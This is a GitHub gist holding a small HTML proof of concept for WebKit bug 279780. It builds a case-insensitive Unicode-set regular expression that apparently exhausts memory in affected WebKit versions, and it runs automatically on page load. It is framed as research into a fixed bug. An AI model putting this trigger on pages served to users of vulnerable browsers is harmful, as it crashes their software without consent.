Skip to content

Instantly share code, notes, and snippets.

@ntfargo
Last active February 17, 2025 11:26
Show Gist options
  • Save ntfargo/ccc936a7fe9bac2afaba3ca3a92e6881 to your computer and use it in GitHub Desktop.
Save ntfargo/ccc936a7fe9bac2afaba3ca3a92e6881 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head>
<title>Bug-279780</title>
<!--
The commit 135cab6161b31a3e700108733c3837a3b21f7f05 (and bug report https://bugs.webkit.org/show_bug.cgi?id=279780)
that we are investigating provides a crucial clue.
The commit message highlights a problem with "case-insensitive disjunction" in regular
expressions and mentions that "Certain ASCII characters can introduce Unicode characters
(and vice versa) when we add all case variations in a case insensitive regex."
This could lead to "incorrect behavior in performSetOpWithMatches, since
we assume that the matches are in sorted order."
With this example you will available to create out of memory error if the webkit version is affected by this bug.
-->
</head>
<body>
<script>
function runRegexTest() {
try {
let regex;
let result;
regex = new RegExp("[\\q{\\u{0095}|k}]", "vi");
result = regex.test("k");
} catch (e) {
console.log(e);
}
}
window.onload = runRegexTest;
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment